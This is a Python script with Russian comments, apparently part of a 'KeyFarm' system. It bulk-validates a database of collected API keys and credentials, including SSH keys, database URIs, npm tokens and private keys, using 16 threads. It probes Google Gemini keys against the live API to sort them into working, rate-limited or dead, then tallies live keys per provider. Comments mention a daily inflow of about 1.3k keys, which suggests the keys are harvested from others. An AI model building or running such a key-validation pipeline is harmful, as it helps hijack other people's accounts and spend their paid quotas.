275 lines
14 KiB
Python
275 lines
14 KiB
Python
"""Форс-валидация бэклога NEW-ключей KeyFarm.
|
||
|
||
Импортирует eternal_v10 как модуль (циклы не стартуют — есть __main__ guard)
|
||
и прогоняет все NEW-ключи через m.validate() в 40 потоках.
|
||
m.validate сам обновляет статус в БД (db_update_key, _DB_LOCK).
|
||
"""
|
||
import importlib.util
|
||
import sqlite3
|
||
import sys
|
||
import threading
|
||
from collections import Counter
|
||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||
from datetime import datetime
|
||
from pathlib import Path
|
||
|
||
PROJ = Path(__file__).resolve().parent
|
||
DB_PATH = PROJ / "data" / "keys.db"
|
||
EV10 = PROJ / "src" / "eternal_v10.py"
|
||
THREADS = 16
|
||
LIVE = {"WORKING", "LIMITED"}
|
||
PRIO = {"GOOGLE": 0, "HUGGINGFACE": 1, "KIMI": 2}
|
||
|
||
_lock = threading.Lock()
|
||
_prov_live = Counter() # provider -> live count
|
||
_prov_dead = Counter() # provider -> dead count
|
||
_statuses = Counter()
|
||
|
||
|
||
# --- D3: GOOGLE/GEMINI-валидатор (hoisted из run() — hermetic smoke водит его
|
||
# напрямую). Контракт (jotaro validator.py L1338/L1920, адаптировано):
|
||
# /models 200 → WORKING "GEMINI API"; 429 → LIMITED (IP-квота ≠ вердикт ключу);
|
||
# 5xx → ERR (транзит, requeueable); 401 → DEAD сразу (явный отказ auth);
|
||
# 400/403/404 → generateContent-цепочка по GEMINI_CANDIDATES: скоуп-ключи
|
||
# часто не отдают листинг, но генерят. В цепочке: 200+candidates → WORKING
|
||
# plan=<model>; 200 без candidates (квота-обёртка) → след. модель; 429 →
|
||
# LIMITED (цепочка стоп); 401 → DEAD; 400 + auth-маркер в error.message →
|
||
# DEAD, иначе (location/модельный 400) → след.; 403/404/5xx → след.;
|
||
# сетевое исключение → ERR (не жжём 5 запросов). Цепочка исчерпана →
|
||
# DEAD google_<code>_gen<last> (план-коды для targeted requeue).
|
||
GEMINI_URL = "https://generativelanguage.googleapis.com/v1beta/models"
|
||
GEMINI_GEN_URL = ("https://generativelanguage.googleapis.com/v1beta/models/"
|
||
"{model}:generateContent")
|
||
GEMINI_CANDIDATES = ("gemini-2.5-flash", "gemini-2.0-flash",
|
||
"gemini-1.5-flash", "gemini-1.5-pro", "gemini-flash-latest")
|
||
GEN_AUTH_MARKERS = ("api key", "api_key", "key not valid",
|
||
"permission_denied", "key expired")
|
||
|
||
|
||
def make_google_validator(m):
|
||
requests = m.requests
|
||
|
||
def _v_google(_prov, key):
|
||
try:
|
||
r = requests.get(GEMINI_URL, params={"key": key}, timeout=15)
|
||
except Exception as e:
|
||
return "ERR", f"google_exc:{type(e).__name__}", "", ""
|
||
code = r.status_code
|
||
if code == 200:
|
||
try:
|
||
n = len(r.json().get("models", []))
|
||
except Exception:
|
||
n = 0
|
||
return "WORKING", "GEMINI API", f"{n} models", str(n)
|
||
if code == 429:
|
||
# v7.15: LIMITED, не WORKING — IP-scoped квота ничего не говорит
|
||
# о самом ключе; WORKING впитывал rate-limit-артефакты.
|
||
return "LIMITED", "google_429", "", ""
|
||
if code >= 500:
|
||
# v7.16: 5xx = транзитная инфраструктура, НЕ смерть ключа;
|
||
# ERR + код → targeted requeue WHERE plan LIKE 'google_5%'.
|
||
return "ERR", f"google_{code}", "", ""
|
||
if code == 401:
|
||
# явный auth-отказ на листинге — цепочка не нужна (jotaro:
|
||
# deep только для UNVERIFIED/QUOTA, не для INVALID)
|
||
return "DEAD", "google_401", "", ""
|
||
# D3: 400/403/404 — ключ возможно жив для генерации. Первый
|
||
# решающий ответ побеждает.
|
||
last_g = None
|
||
for model in GEMINI_CANDIDATES:
|
||
try:
|
||
g = requests.post(
|
||
GEMINI_GEN_URL.format(model=model),
|
||
headers={"x-goog-api-key": key,
|
||
"Accept": "application/json"},
|
||
json={"contents": [{"parts": [{"text": "hi"}]}],
|
||
"generationConfig": {"maxOutputTokens": 8,
|
||
"temperature": 0}},
|
||
timeout=15)
|
||
except Exception:
|
||
# транзиентная сеть посреди цепочки: ERR, не DEAD (requeueable)
|
||
return "ERR", f"google_{code}_genexc", "", ""
|
||
gcode = g.status_code
|
||
last_g = gcode
|
||
if gcode == 200:
|
||
try:
|
||
cands = g.json().get("candidates", [])
|
||
except Exception:
|
||
cands = []
|
||
if cands:
|
||
# plan=<model>: gen-WORKING отличим от listing-WORKING
|
||
# ("GEMINI API"); requeue gen-популяции LIKE 'gemini-%'
|
||
return "WORKING", model, "", ""
|
||
continue # 200 без candidates = мусор/квота-обёртка
|
||
if gcode == 429:
|
||
return "LIMITED", "google_gen429", "", ""
|
||
if gcode == 401:
|
||
return "DEAD", f"google_{code}_gen401", "", ""
|
||
if gcode == 400:
|
||
try:
|
||
emsg = str((g.json().get("error") or {}).get("message", ""))
|
||
except Exception:
|
||
emsg = g.text[:200]
|
||
el = emsg.lower()
|
||
if any(k in el for k in GEN_AUTH_MARKERS):
|
||
return "DEAD", f"google_{code}_gen400auth", "", ""
|
||
continue # модельный 400 (location/not-found) → след.
|
||
# 403/404/5xx/прочее → следующая модель (jotaro L1994-2003)
|
||
return "DEAD", f"google_{code}_gen{last_g}", "", ""
|
||
|
||
return _v_google
|
||
|
||
|
||
def run():
|
||
import time
|
||
t0 = time.time()
|
||
|
||
# --- импорт eternal_v10 один раз ---
|
||
spec = importlib.util.spec_from_file_location("ev10", str(EV10))
|
||
m = importlib.util.module_from_spec(spec)
|
||
sys.stdout.flush()
|
||
spec.loader.exec_module(m)
|
||
print(f"[init] eternal_v10 imported in {time.time()-t0:.1f}s", flush=True)
|
||
|
||
# --- рантайм-патч: GOOGLE — заглушка в eternal_v10 (vt=default без
|
||
# test_model, _v_default падает KeyError). Файл не трогаем — D3-валидатор
|
||
# живёт на уровне модуля (make_google_validator), патчим сюда.
|
||
m.VALIDATORS["google"] = make_google_validator(m)
|
||
if "GOOGLE" in m.PROVIDERS:
|
||
m.PROVIDERS["GOOGLE"]["validation_type"] = "google"
|
||
m.PROVIDERS["GOOGLE"]["test_url"] = GEMINI_URL
|
||
m.PROVIDERS["GOOGLE"].setdefault("test_model", "gemini-2.0-flash")
|
||
print("[init] GOOGLE runtime validator patched (D3 gen-fallback)", flush=True)
|
||
|
||
# --- чтение бэклога ---
|
||
db = sqlite3.connect(str(DB_PATH), check_same_thread=False)
|
||
db.execute("PRAGMA busy_timeout=120000")
|
||
db.execute("PRAGMA journal_mode=WAL")
|
||
# v7.1: only select providers eternal_v10 can actually validate.
|
||
# Truly-unknown provs (TWITTER/PRIVATE_KEY/...) have no PROVIDERS entry AND
|
||
# no structural early-return -> validate() gives "UNKNOWN" WITHOUT
|
||
# db_update_key, so they would churn as NEW forever. Filtered out here;
|
||
# they stay collect-only NEW until real validation logic is added.
|
||
# (PG_URI/MONGO_URI/HTTPS_AUTH etc. are NOT unknown — v7.7 note below.)
|
||
# v7.7: eternal_v10.validate() structurally early-returns WORKING/"unvalidated"
|
||
# for cred types with no API to probe — BEFORE the PROVIDERS lookup. They are
|
||
# not PROVIDERS keys, so a PROVIDERS-only filter strands them in NEW forever.
|
||
# Union them back; drift-guard against validate()'s actual source (log+exclude,
|
||
# never hard-fail an unattended loop). GROQ stays out via the NEVER_MATCH filter.
|
||
# 2026-10-19: GITLAB_PAT is now a PROVIDERS alias (hdr_get probe — real
|
||
# validation beats a structural stamp); AZURE_STORAGE/PRIVATE_KEY live in
|
||
# PROVIDERS as detection_only. Remaining 13 match validate()'s inline literals.
|
||
_STRUCTURAL = {'ACCTOKEN', 'HTTPS_AUTH', 'MONGO_URI', 'MYSQL_URI', 'NETRC',
|
||
'NPMRC_TOKEN', 'PGP_KEY', 'PG_URI', 'PUTTY_KEY', 'REDIS_URI',
|
||
'SQUARE', 'SSH_KEY', 'TWILIO_SK'}
|
||
import inspect
|
||
_vsrc = inspect.getsource(m.validate)
|
||
_drift = sorted(p for p in _STRUCTURAL if ("'%s'" % p) not in _vsrc)
|
||
if _drift:
|
||
print(f"[warn] structural list drift, excluded: {_drift}", flush=True)
|
||
_STRUCTURAL -= set(_drift)
|
||
# v7.9: exclusion is REGEX-ONLY. The old `v.get("vars") or ...` clause leaked
|
||
# TOGETHER (NEVER_MATCH regex but non-empty vars) — the validator was probing
|
||
# ~260 keys of an operator-disabled family. NEVER_MATCH in regex = disabled.
|
||
# .upper() covers word-order variants (e.g. DISABLED_NEVER_MATCH).
|
||
valid_provs = sorted(
|
||
set(k for k, v in m.PROVIDERS.items()
|
||
if "NEVER_MATCH" not in str(v.get("regex", "")).upper())
|
||
| _STRUCTURAL)
|
||
_ph = ",".join("?" * len(valid_provs))
|
||
# v7.13: structural rows FIRST in the slice — they cost zero HTTP, so they
|
||
# must never be rationed behind slow network probes (pre-drain, the ELSE
|
||
# bucket starved behind GOOGLE/HF/KIMI and 13k zero-cost rows sat for hours;
|
||
# matters again when TWITTER/PRIVATE_KEY unlock adds ~29k network rows).
|
||
# Built from _STRUCTURAL itself — no drift from the union above.
|
||
# ponytail: LIMIT 8000 still caps the slice; if structural NEW ever exceeds
|
||
# it, split into a separate un-LIMITed pre-pass (upgrade path, not needed
|
||
# at ~1.3k/day inflow).
|
||
_struct_ph = ",".join(f"'{p}'" for p in sorted(_STRUCTURAL)) or "''" # empty-set guard: IN ('') valid, matches nothing
|
||
rows = db.execute(
|
||
f"SELECT val, prov FROM keys WHERE status='NEW' AND prov IN ({_ph}) "
|
||
f"ORDER BY CASE WHEN prov IN ({_struct_ph}) THEN -1 "
|
||
"WHEN prov='GOOGLE' THEN 0 WHEN prov='HUGGINGFACE' THEN 1 "
|
||
"WHEN prov='KIMI' THEN 2 ELSE 3 END, id LIMIT 8000",
|
||
valid_provs,
|
||
).fetchall()
|
||
new_total = db.execute(
|
||
"SELECT count(*) FROM keys WHERE status='NEW'").fetchone()[0]
|
||
db.close()
|
||
print(f"[init] validatable providers={len(valid_provs)} | "
|
||
f"NEW validatable={len(rows)} collect-only-skipped={new_total - len(rows)}",
|
||
flush=True)
|
||
total = len(rows)
|
||
print(f"[init] backlog: {total} NEW keys"
|
||
f" ({len(set(p for _, p in rows))} providers)", flush=True)
|
||
if not rows:
|
||
print("[done] no NEW keys — nothing to validate", flush=True)
|
||
return
|
||
|
||
done = 0
|
||
def work(item):
|
||
nonlocal done
|
||
val, prov = item
|
||
for attempt in (0, 1, 2):
|
||
try:
|
||
st, plan, price, rem = m.validate(val, prov)
|
||
break
|
||
except sqlite3.OperationalError:
|
||
if attempt == 2:
|
||
# v7.8: do NOT persist db-locked — transient SQLite contention
|
||
# must stay NEW and retry next round. Persisting it buried
|
||
# live keys as DEAD without ever probing them.
|
||
st, plan, price, rem = "DEAD", "db-locked", "", ""
|
||
else:
|
||
time.sleep(0.5 * (attempt + 1))
|
||
except Exception as e:
|
||
# валидатор может упасть на кривом prov-entry (KeyError и т.п.)
|
||
# — не роняем весь прогон, фиксируем как ERR
|
||
st, plan, price, rem = "ERR", f"exc:{type(e).__name__}", "", ""
|
||
try:
|
||
m.db_update_key(val, st, plan, "", "")
|
||
except Exception:
|
||
pass
|
||
break
|
||
with _lock:
|
||
_statuses[st] += 1
|
||
if st in LIVE:
|
||
_prov_live[prov] += 1
|
||
else:
|
||
_prov_dead[prov] += 1
|
||
done += 1
|
||
if done % 200 == 0 or done == total:
|
||
print(
|
||
f"[{done}/{total}] {prov} live={_prov_live[prov]}"
|
||
f" dead={_prov_dead[prov]} | "
|
||
+ " ".join(f"{s}={c}" for s, c in _statuses.most_common()),
|
||
flush=True)
|
||
return st
|
||
|
||
with ThreadPoolExecutor(max_workers=THREADS) as ex:
|
||
list(ex.map(work, rows))
|
||
|
||
dt = time.time() - t0
|
||
print(f"[done] {total} keys in {dt/60:.1f} min", flush=True)
|
||
|
||
# --- итог ---
|
||
db = sqlite3.connect(str(DB_PATH))
|
||
db.execute("PRAGMA busy_timeout=120000")
|
||
print("\n=== status after run ===", flush=True)
|
||
for st, c in db.execute("SELECT status, COUNT(*) FROM keys "
|
||
"GROUP BY status ORDER BY 2 DESC"):
|
||
print(f" {st:<10} {c}", flush=True)
|
||
print("\n=== top live providers ===", flush=True)
|
||
for prov, c in db.execute(
|
||
"SELECT prov, COUNT(*) FROM keys "
|
||
"WHERE status IN ('WORKING','LIMITED') "
|
||
"GROUP BY prov ORDER BY 2 DESC LIMIT 10"):
|
||
print(f" {prov:<20} {c}", flush=True)
|
||
new_left = db.execute("SELECT COUNT(*) FROM keys WHERE status='NEW'"
|
||
).fetchone()[0]
|
||
print(f"\nNEW remaining: {new_left}", flush=True)
|
||
db.close()
|
||
|
||
|
||
if __name__ == "__main__":
|
||
run() |